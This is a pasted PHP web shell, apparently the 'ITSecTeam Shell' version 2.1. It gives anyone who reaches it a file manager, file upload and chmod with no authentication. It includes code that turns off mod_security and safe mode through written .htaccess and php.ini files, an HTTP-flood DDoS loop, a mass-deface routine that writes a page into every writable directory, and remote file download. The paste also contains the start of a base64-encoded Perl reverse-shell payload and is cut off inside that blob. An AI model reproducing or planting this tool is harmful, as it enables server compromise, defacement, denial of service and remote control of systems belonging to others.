· 10 years ago · Aug 25, 2016, 08:22 AM
1
2<?php
3session_start();
4set_time_limit(0);
5error_reporting(0);
6if (get_magic_quotes_gpc()) {
7function stripslashes_deep($value) {
8 $value = is_array($value) ?
9 array_map('stripslashes_deep', $value) :
10 stripslashes($value);
11
12 return $value;
13 }
14$_POST = array_map('stripslashes_deep', $_POST);
15$_GET = array_map('stripslashes_deep', $_GET);
16$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
17$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
18}
19if($_GET['do']=="remove"){
20unlink(getcwd().$_SERVER["SCRIPT_NAME"]);
21}
22$basep=$_SERVER['DOCUMENT_ROOT'];
23if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
24$slash="\\";
25$basep=str_replace("/","\\",$basep);
26}else{
27$slash="/";
28$basep=str_replace("\\","/",$basep);
29}
30if($_GET['do']=="remove"){
31unlink(getcwd().$slash.$_SERVER["SCRIPT_NAME"]);
32}
33if ($_REQUEST['address']){
34if(is_readable($_REQUEST['address'])){
35chdir($_REQUEST['address']);}else{
36alert("Permission Denied !");}}
37$me=$_SERVER['PHP_SELF'];
38$formp="<form method=post action='".$me."'>";
39$formg="<form method=get action='".$me."'>";
40$nowaddress='<input type=hidden name=address value="'.getcwd().'">';
41if (isset($_FILES["filee"]) and ! $_FILES["filee"]["error"]) {
42 if(move_uploaded_file($_FILES["filee"]["tmp_name"], $_FILES["filee"]["name"])){
43 alert("File Upload Successful");
44 }else{
45alert("Permission Denied !");
46
47 }
48 }
49if(ini_get('disable_functions')){
50$disablef=ini_get('disable_functions');
51}else{
52$disablef="All Functions Enable";
53}
54if(ini_get('safe_mode')){
55$safe_modes="On";
56}else{
57$safe_modes="Off";
58}
59if ($_REQUEST['chmode'] && $_REQUEST['chmodenum']){
60if (chmod($_POST['chmode'],"0".$_POST['chmodenum'])){alert("Chmod Ok!");}else{alert("Permission Denied !");}
61}
62$picdir='iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAAB30lEQVR42mNggAAuIBZCwjxAzMiAC4jIykrZOLplhcWlzAuLS50PwkFRiTPl1TQDBSQk7OFYRMSejY1NA6iFiUFEUinKwS/mcURW1f9wIA7NrPwflFr63zow7bOJd9IbQ8/EN7qucW+0XOLeyJv5XmETU9RjUDV03BlX2P43oaz/f2hO+3+v5Pr/DlEV/81Div/r+eT+V3PL+C/tlvefP6Lzv6BRyD82ce1IBl07/zNJFf3/Eyon/Q8v7vuf0LPqf3Dt7P9mYWX/1YMr/oslTfrPnzjpv4h92n8Bo7D/rJJ6eQyS5n63PLJa/wcU9f33K+z9H9O7+n/TiRf/7Xp3/Ods3v9fJGnif3H37P/Cjqn/+azj/7PIGrQxsBn7P+V2yfzP45bzn9c9979cZN3/1LUX/ktMvfiftfnQf8Gw+v8C3vn/+Txy/3O7Zv1nVjCZx8DqkPCWw7/0PwgLRtb/d+vf/F+3fPZ/jtDa/0y1O/4zVW76zx5c/R+mhlnFfBsDm3fOZ/bIhv+cMU3/pXIm/xdK7f4P4oMwW0zLf7bEnv/s0c1wMSY953MMQnG1P5UKJ/8nFgvaBz9jYPTJfM2c2PqfWMxoGfCFgUFGK4pBw3wh0VhCuRSUkligaY9YzAIA/X/3S1/5EEMAAAAASUVORK5CYII=';
63$picfile='iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAABaElEQVR42mMIXfWfef7JT7Yrz34o33ABhj9BaKDYrP3PE6IqpgkyoINNFz9Gnnzw/f/NFz8w8JYrX//P2H6zMrByijCKpl1XPkbee/Xt//fv3zHw/ltf/x+4/vnT7O036wOzkTSuP/cu8sazz/+/fPmCgS8++vx/25XP/xcceP4xr2dLPFA5M1jTytPvIq88/vj/40fc+Oz15//LOxZXAZVzgDUtO/E68tLDD/8/fMCB33/4f/rqs/8lLQur4ZoWH3sdeeH+h//v37/Hjt+9/3/yytP/RU1ImuYefh159u67/2/fvsWK37x58//4pSf/C9A1nb7z9v/r169x4mOXHv/PQ9a0AOi8M3cgJmLDIE0nLj9Bdd6CYy8iz94BKniNBb+B0CdBmpADonP9/cjlBx7/333q8f89p9HwGaA4kF665/7/lGqkIHfwKRax9Yh1t3IICLZ1CApBx1ZAbGIbECwlr28IVM4KAPZgwQxbJyVoAAAAAElFTkSuQmCC';
64$head='<style type="text/css">
65A:link {text-decoration: none}
66A:visited {text-decoration: none}
67A:active {text-decoration: none}
68A:hover {text-decoration: underline overline; color: 414141;}
69.focus td{border-top:0px solid #f8f8f8;border-bottom:1px solid #ddd;background:#f2f2f2;padding:0px 0px 0px 0px;}
70</style><head>
71<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
72<title>iTSecTeam</title>
73</head><body topmargin="0" leftmargin="0" rightmargin="0"
74bgcolor="#f2f2f2"><div align="center">
75 <table border="1" width="1000" height="14" bordercolor="#CDCDCD" style="border-collapse: collapse; border-style: solid; border-width: 1px">
76<tr>
77<td height="30" width="996">
78<p align="center"><font face="Tahoma" style="font-size: 9pt"><span lang="en-us"><a href="?do=home">Home</a> -- <a href="?do=filemanager&address='.getcwd().'">File Manager</a> -- <a href="?do=cmd&address='.getcwd().'">Command Execute</a> -- <a href="?do=bc&address='.getcwd().'">Back Connect</a> --
79<a href="?do=bypasscmd&address='.getcwd().'">BypasS Command eXecute(SF-DF)</a> -- <a href="?do=symlink&address='.getcwd().'">Symlink</a> --
80<a href="?do=bypassdir&address='.getcwd().'">BypasS Directory</a> -- <a href="?do=eval&address='.getcwd().'">
81Eval Php</a> -- <a href="?do=db&address='.getcwd().'">Data Base</a> -- <a href="?do=convert&address='.getcwd().'">Convert</a> -- <a href="?do=mail&address='.getcwd().'">Mail Boomber</a><a href="?do=info&address='.getcwd().'">
82<br>Server Information</a> -- <a href="?do=d0slocal&address='.getcwd().'">Dos Local Server</a> -- <a href="?do=dump&address='.getcwd().'">Backup Database</a> -- <a href="?do=mass&address='.getcwd().'">Mass Deface</a> -- <a href="?do=dlfile&address='.getcwd().'">Download Remote File</a> -- <a href="?do=dd0s&address='.getcwd().'">DDoS</a> -- <a href="?do=perm&address='.getcwd().'">Find Writable Directory</a> -- <a href="?do=apache&address='.getcwd().'">Server</a> -- <a href="?do=remove&address='.getcwd().'">Remove Me</a> -- <a href="?do=about&address='.getcwd().'">About</a>
83</span></font></td></tr></table></div>
84<div align="center">
85<table id="table2" style="border-collapse: collapse; border-style:
86solid;" width="1000" bgcolor="#eaeaea" border="1" bordercolor="#c6c6c6"
87cellpadding="0"><tbody><tr><td><div align="center"><table id="table3" style="border-style:dashed; border-width:1px; margin-top: 1px; margin-bottom: 0px;
88border-collapse: collapse" width="950" border="1" bordercolor="#cdcdcd"
89height="10" bordercolorlight="#CDCDCD" bordercolordark="#CDCDCD"><tbody><tr><font face="Tahoma" style="font-size: 9pt"><div align="center">
90Operation System : '.php_uname().' | Php Version : '.phpversion().' | Safe Mode : '.$safe_modes.' <td style="border: 1px solid rgb(198, 198, 198);"
91width="950" bgcolor="#e7e3de" height="10" valign="top">';
92$end='</td></tr></tbody></table></div></td></tr><tr><td bgcolor="#c6c6c6"><p style="margin-top: 0pt; margin-bottom: 0pt" align="center"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt">'.base64_decode("Q29kZWQgYnkgQW1pbiBTaG9rb2hpIChQZWp2YWsp").'<br><a href="http://www.itsecteam.com" target="_blank"><font size=1>'.base64_decode("aVRTZWNUZWFtLmNvbQ==").'</a></font></span></td></tr></tbody></table></div></body></html>';
93$deny=$head."<p align='center'> <b>Oh My God!<br> Permission Denied".$end;
94function alert($text){
95echo "<script>alert('".$text."')</script>";
96}
97if ($_GET['do']=="edit" && $_GET['filename']!="dir"){
98if(is_readable($_GET['address'].$_GET['filename'])){
99$opedit=fopen($_GET['address'].$_GET['filename'],"r");
100while(!feof($opedit))
101$data.=fread($opedit,9999);
102fclose($opedit);
103echo $head.$formp.$nowaddress.'<p align="center">File Name : '.$_GET['address'].$_GET['filename'].'<br><textarea rows="19" name="fedit" cols="87">'.htmlentities("$data").'</textarea><br><input value='.$_GET['filename'].' name=namefe><br><input type=submit value=" Save "></form></p>'.$end;exit;
104}else{alert("Permission Denied !");}}
105function sizee($size)
106{
107 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
108 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
109 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
110 else {$size = $size . " B";}
111 return $size;
112}
113if($_REQUEST['do']=='about'){
114echo $head."<p align='center'><b><font color=red>ITSecTeam, IT Security Research & Penetration Testing Team</b></font><br>Version 2.1 <br>Last Update : 2010/10/10<br>Coded By : Amin Shokohi(Pejvak)<br>Special Thanks(M3hr@n.S , Am!rkh@n , R3dm0ve , Provider , H4mid@Tm3l , ahmadbady , Doosib )<br>Home Page : <a href='http://www.itsecteam.com'>http://www.itsecteam.com</a><br>Update Notice: <a href='http://itsecteam.com/en/tools/itsecteam_shell.htm'>ITSecTeam Shell</a><br>Forum : <a href='http://www.forum.itsecteam.com'>http://www.forum.itsecteam.com</a><br>
115<center>
116<PRE>
117
118 ______ ______ ____ ______
119/\__ _\/\__ _\/\ _`\ /\__ _\
120\/_/\ \/\/_/\ \/\ \,\L\_\ __ ___\/_/\ \/ __ __ ___ ___
121 \ \ \ \ \ \ \/_\__ \ /'__`\ /'___\ \ \ \ /'__`\ /'__`\ /' __` __`\
122 \_\ \__ \ \ \ /\ \L\ \/\ __//\ \__/ \ \ \/\ __//\ \L\.\_/\ \/\ \/\ \
123 /\_____\ \ \_\ \ `\____\ \____\ \____\ \ \_\ \____\ \__/.\_\ \_\ \_\ \_\
124 \/_____/ \/_/ \/_____/\/____/\/____/ \/_/\/____/\/__/\/_/\/_/\/_/\/_/
125
126
127
128
129
130
131</PRE>
132
133
134".$end;exit;
135
136}
137function deleteDirectory($dir) {
138if (!file_exists($dir)) return true;
139if (!is_dir($dir) || is_link($dir)) return unlink($dir);
140foreach (scandir($dir) as $item) {
141if ($item == '.' || $item == '..') continue;
142if (!deleteDirectory($dir . "/" . $item)) {
143chmod($dir . "/" . $item, 0777);
144if (!deleteDirectory($dir . "/" . $item)) return false;
145};}return rmdir($dir);}
146
147function download($fileadd,$finame){
148$dlfilea=$fileadd.$finame;
149header("Content-Disposition: attachment; filename=" . $finame);
150header("Content-Type: application/download");
151header("Content-Length: " . filesize($dlfilea));
152flush();
153$fp = fopen($$dlfilea, "r");
154while (!feof($fp))
155{
156 echo fread($fp, 65536);
157 flush();
158}
159fclose($fp);
160}
161if($_GET['do']=="rename"){
162echo $head.$formp.$nowaddress.'<p align="center"><input value='.$_GET['filename'].'><input type=hidden name=addressren value='.$_GET['address'].$_GET['filename'].'> To <input name=nameren><br><input type=submit value=" Save "></form></p>'.$end;exit;
163}
164
165if ($_GET['byapache']=='ofms'){
166$fse=fopen(getcwd().$slash.".htaccess","w");
167fwrite($fse,'<IfModule mod_security.c>
168 Sec------Engine Off
169 Sec------ScanPOST Off
170</IfModule>');
171fclose($fse);
172}elseif ($_GET['byapache']=='bysap'){
173$fse=fopen(getcwd().$slash.".htaccess","w");
174fwrite($fse,'Options +FollowSymLinks
175DirectoryIndex Persian-Gulf-For-Ever.html');
176fclose($fse);
177}elseif ($_GET['byapache']=='sfadf'){
178$fse=fopen(getcwd().$slash."php.ini","w");
179fwrite($fse,'safe_mode=OFF
180disable_functions=NONE');
181fclose($fse);
182}
183if($_GET['do']=="apache"){
184echo $head.$formg.$nowaddress.'<p align="center">
185<select name=byapache>
186<option value="ofms">Off Mode Security(.htaccess)</option><option value="bysap">Bypass Symlink(.htaccess)</option>
187<option value="sfadf">Disable Safe Mode & Disable Function(Php.ini)</option>
188</select><br><input type=submit value=eXecute></form></p>'.$end;exit;
189}
190if($_GET['do']=="dd0s"){
191echo $head.$formg.$nowaddress.'<p align="center">Address : <input name=urldd0 size=50> Time : <input name=timedd0 size=6 value=40000><br><input type=submit value=" DDoS "></form></p>'.$end;exit;
192}
193
194if($_GET['urldd0'] && $_GET['timedd0']){
195for ($id=0;$$id<$_GET['timedd0'];$id++){
196$fp=null;
197$contents=null;
198$fp=fopen($_GET['urldd0'],"rb");
199while (!feof($fp)) {
200 $contents .= fread($fp, 8192);
201}
202fclose($fp);
203}}
204if($_GET['do']=="dlfile"){
205echo $head.$formp.$nowaddress.'<p align="center">Download Remote File!<br>Address : <input name=adlr size=70><br>Save To : <input name=adsr value='.getcwd().$slash.' size=70><br><input type=submit value=" Download "></form></p>'.$end;exit;
206}
207function dirpe($addres){
208global $slash;
209$idd=0;
210if ($dirhen = @opendir($addres)) {
211while ($file = readdir($dirhen)) {
212$permdir=str_replace('//','/',$addres.$slash.$file);
213if($file!='.' && $file!='..' && is_dir($permdir)){
214if (is_writable($permdir)) {
215$dirdata[$idd]['filename']=$permdir;
216$idd++;
217}
218dirpe($permdir);
219 }
220 }
221 closedir($dirhen);
222 } else {
223 return ("notperm");
224 }
225 if ($dirdata){
226 return $dirdata;
227 }else{
228 return "notfound";
229
230 }
231}
232function dirpmass($addres,$massname,$masssource){
233global $slash;
234$idd=0;
235if ($dirhen = @opendir($addres)) {
236while ($file = readdir($dirhen)) {
237$permdir=str_replace('//','/',$addres.$slash.$file);
238if($file!='.' && $file!='..' && is_dir($permdir)){
239if (is_writable($permdir)) {
240if ($fm=fopen($permdir.$slash.$massname,"w")){
241fwrite($fm,$masssource);
242fclose($fm);
243$dirdata[$idd]['filename']=$permdir;
244}
245
246$idd++;
247}
248dirpmass($permdir);
249 }
250 }
251 closedir($dirhen);
252 } else {
253 return ("notperm");
254 }
255 if ($dirdata){
256 return $dirdata;
257 }else{
258 return "notfound";
259
260 }
261}
262if($_GET['do']=="perm"){
263echo $head.$formp.'<p align="center">Find All Folder Writeable<br> <input name=affw value="'.getcwd().$slash.'" size=50><br><input type=submit value=" Search "></form></p>'.$end;exit;
264}
265if ($_POST['affw']){
266$arrfilelist=dirpe($_POST['affw']);
267if ($arrfilelist=='notfound'){
268alert("Not Found !");
269}elseif($arrfilelist=='notperm'){
270alert("Permission Denied !");
271}else{
272foreach ($arrfilelist as $tmpdir){
273 if ($coi %2){
274$colort='"#e7e3de"';
275}else{
276$colort='"#e4e1de"';}
277$coi++;
278$permdir=$permdir.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr">
279<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?address='.$tmpdir['filename'].'"><b>'.$tmpdir['filename'].'</b></span></td>
280<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td>
281<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td></tr></table>';
282}
283echo $head.'
284<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
285<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td>
286</tr></table>'.$permdir.'</table>
287<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr>
288<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
289<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Directory</font></td>
290<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().'><input type=submit value="Go"></form></td></tr><tr>
291<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
292<font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload ---> </td>
293<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
294<form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.'
295<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee >
296<input type=submit value=Upload /><br>'.$ifupload.'</form></td></tr><tr>
297<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
298<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Chmod ----></b> File : </td>
299<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
300<font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode> Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr>
301<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
302<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Create Dir ----></b> Dirctory Name </td>
303<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
304<font face="Tahoma" style="font-size: 10pt">
305<input name=cdirname size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>
306<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
307<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Create File ----></b> Name File </td>
308<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
309<font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>
310<td width="200" align="right" valign="top">
311<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Copy ----></b></b> File : </td>
312<td width="750"><font face="Tahoma" style="font-size: 10pt">
313<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>'.$end;exit;
314}}
315if($_GET['do']=="mass"){
316echo $head.$formp.'<p align="center">[Mass Deface]<br><input name=mffw value="'.getcwd().$slash.'" size=50><input name=massname value="def.htm" size=10><br><textarea name=masssource cols=60 rows=18>Source</textarea><br><input type=submit value=" Mass "></form></p>'.$end;exit;
317}
318if ($_POST['mffw']){
319$arrfilelist=dirpmass($_POST['mffw'],$_POST['massname'],$_POST['masssource']);
320if ($arrfilelist=='notfound'){
321alert("Not Found !");
322}elseif($arrfilelist=='notperm'){
323alert("Permission Denied !");
324}else{
325foreach ($arrfilelist as $tmpdir){
326 if ($coi %2){
327$colort='"#e7e3de"';
328}else{
329$colort='"#e4e1de"';}
330$coi++;
331$permdir=$permdir.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr">
332<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?address='.$tmpdir['filename'].'"><b>'.$tmpdir['filename'].'</b></span></td>
333<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td>
334<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td></tr></table>';
335}
336echo $head.'
337<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
338<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td>
339</tr></table>'.$permdir.'</table>
340<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr>
341<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
342<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Directory</font></td>
343<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().'><input type=submit value="Go"></form></td></tr><tr>
344<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
345<font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload ---> </td>
346<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
347<form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.'
348<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee >
349<input type=submit value=Upload /><br>'.$ifupload.'</form></td></tr><tr>
350<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
351<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Chmod ----></b> File : </td>
352<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
353<font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode> Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr>
354<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
355<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Create Dir ----></b> Dirctory Name </td>
356<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
357<font face="Tahoma" style="font-size: 10pt">
358<input name=cdirname size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>
359<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
360<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Create File ----></b> Name File </td>
361<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
362<font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>
363<td width="200" align="right" valign="top">
364<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Copy ----></b></b> File : </td>
365<td width="750"><font face="Tahoma" style="font-size: 10pt">
366<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>'.$end;exit;
367}}
368if($_POST['adlr'] && $_POST['adsr']){
369$url = $_POST['adlr'];
370$newfname = $_POST['adsr'] . basename($url);
371$file = fopen ($url, "rb");
372if ($file) {
373 $newf = fopen ($newfname, "wb");
374 if ($newf)
375 while(!feof($file)) {
376 fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
377 }
378 alert("File Downloaded Success");
379}else{alert("Can Not Open File");}
380if ($file) {
381 fclose($file);
382}
383if ($newf) {
384 fclose($newf);
385}
386}
387if($_GET['do']=="down" and $_GET['type']=='file'){
388download($_GET['address'],$_GET['filename']);}
389if($_GET['do']=="down" and $_GET['type']=='dir'){
390class zipfile
391{
392var $datasec = array();
393var $ctrl_dir = array();
394var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
395var $old_offset = 0;
396function add_dir($name)
397{
398$name = str_replace("\\", "/", $name);
399$fr = "\x50\x4b\x03\x04";
400$fr .= "\x0a\x00";
401$fr .= "\x00\x00";
402$fr .= "\x00\x00";
403$fr .= "\x00\x00\x00\x00";
404$fr .= pack("V",0);
405$fr .= pack("V",0);
406$fr .= pack("V",0);
407$fr .= pack("v", strlen($name) );
408$fr .= pack("v", 0 );
409$fr .= $name;
410$fr .= pack("V",$crc);
411$fr .= pack("V",$c_len);
412$fr .= pack("V",$unc_len);
413$this -> datasec[] = $fr;
414$new_offset = strlen(implode("", $this->datasec));
415$cdrec = "\x50\x4b\x01\x02";
416$cdrec .="\x00\x00";
417$cdrec .="\x0a\x00";
418$cdrec .="\x00\x00";
419$cdrec .="\x00\x00";
420$cdrec .="\x00\x00\x00\x00";
421$cdrec .= pack("V",0);
422$cdrec .= pack("V",0);
423$cdrec .= pack("V",0);
424$cdrec .= pack("v", strlen($name) );
425$cdrec .= pack("v", 0 );
426$cdrec .= pack("v", 0 );
427$cdrec .= pack("v", 0 );
428$cdrec .= pack("v", 0 );
429$ext = "\x00\x00\x10\x00";
430$ext = "\xff\xff\xff\xff";
431$cdrec .= pack("V", 16 );
432$cdrec .= pack("V", $this -> old_offset );
433$this -> old_offset = $new_offset;
434$cdrec .= $name;
435$this -> ctrl_dir[] = $cdrec;
436}
437function add_file($data, $name)
438{
439$name = str_replace("\\", "/", $name);
440$fr = "\x50\x4b\x03\x04";
441$fr .= "\x14\x00";
442$fr .= "\x00\x00";
443$fr .= "\x08\x00";
444$fr .= "\x00\x00\x00\x00";
445$unc_len = strlen($data);
446$crc = crc32($data);
447$zdata = gzcompress($data);
448$zdata = substr( substr($zdata, 0, strlen($zdata) - 4), 2);
449$c_len = strlen($zdata);
450$fr .= pack("V",$crc);
451$fr .= pack("V",$c_len);
452$fr .= pack("V",$unc_len);
453$fr .= pack("v", strlen($name) );
454$fr .= pack("v", 0 );
455$fr .= $name;
456$fr .= $zdata;
457$fr .= pack("V",$crc);
458$fr .= pack("V",$c_len);
459$fr .= pack("V",$unc_len);
460$this -> datasec[] = $fr;
461$new_offset = strlen(implode("", $this->datasec));
462$cdrec = "\x50\x4b\x01\x02";
463$cdrec .="\x00\x00";
464$cdrec .="\x14\x00";
465$cdrec .="\x00\x00";
466$cdrec .="\x08\x00";
467$cdrec .="\x00\x00\x00\x00";
468$cdrec .= pack("V",$crc);
469$cdrec .= pack("V",$c_len);
470$cdrec .= pack("V",$unc_len);
471$cdrec .= pack("v", strlen($name) );
472$cdrec .= pack("v", 0 );
473$cdrec .= pack("v", 0 );
474$cdrec .= pack("v", 0 );
475$cdrec .= pack("v", 0 );
476$cdrec .= pack("V", 32 );
477$cdrec .= pack("V", $this -> old_offset );
478$this -> old_offset = $new_offset;
479$cdrec .= $name;
480$this -> ctrl_dir[] = $cdrec;
481}
482function file() {
483$data = implode("", $this -> datasec);
484$ctrldir = implode("", $this -> ctrl_dir);
485return
486$data.
487$ctrldir.
488$this -> eof_ctrl_dir.
489pack("v", sizeof($this -> ctrl_dir)).
490pack("v", sizeof($this -> ctrl_dir)).
491pack("V", strlen($ctrldir)).
492pack("V", strlen($data)).
493"\x00\x00";
494}
495}
496$dlfolder=$_GET['address'].$slash.$_GET['dirname'].$slash;
497$zipfile = new zipfile();
498function get_files_from_folder($directory, $put_into) {
499global $zipfile;
500if ($handle = opendir($directory)) {
501while (false !== ($file = readdir($handle))) {
502if (is_file($directory.$file)) {
503$fileContents = file_get_contents($directory.$file);
504$zipfile->add_file($fileContents, $put_into.$file);
505} elseif ($file != '.' and $file != '..' and is_dir($directory.$file)) {
506$zipfile->add_dir($put_into.$file.'/');
507get_files_from_folder($directory.$file.'/', $put_into.$file.'/');
508}
509}
510}
511closedir($handle);
512}
513$datedl=date("y-m-d");
514get_files_from_folder($dlfolder,'');
515header("Content-Disposition: attachment; filename=" . $_GET['dirname']."-".$datedl.".zip");
516header("Content-Type: application/download");
517header("Content-Length: " . strlen($zipfile -> file()));
518flush();
519echo $zipfile -> file();
520$filename = $_GET['dirname']."-".$datedl.".zip";
521$fd = fopen ($filename, "wb");
522$out = fwrite ($fd, $zipfile -> file());
523fclose ($fd);
524}
525if ($_REQUEST['cdirname']){
526if(mkdir($_REQUEST['cdirname'],"0777")){alert("Directory Created !");}else{alert("Permission Denied !");}}
527function bcn($ipbc,$pbc){
528$bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3
529NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb
530MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw
531dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n
532IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo
533YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN
534LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0
535KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll
536KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog
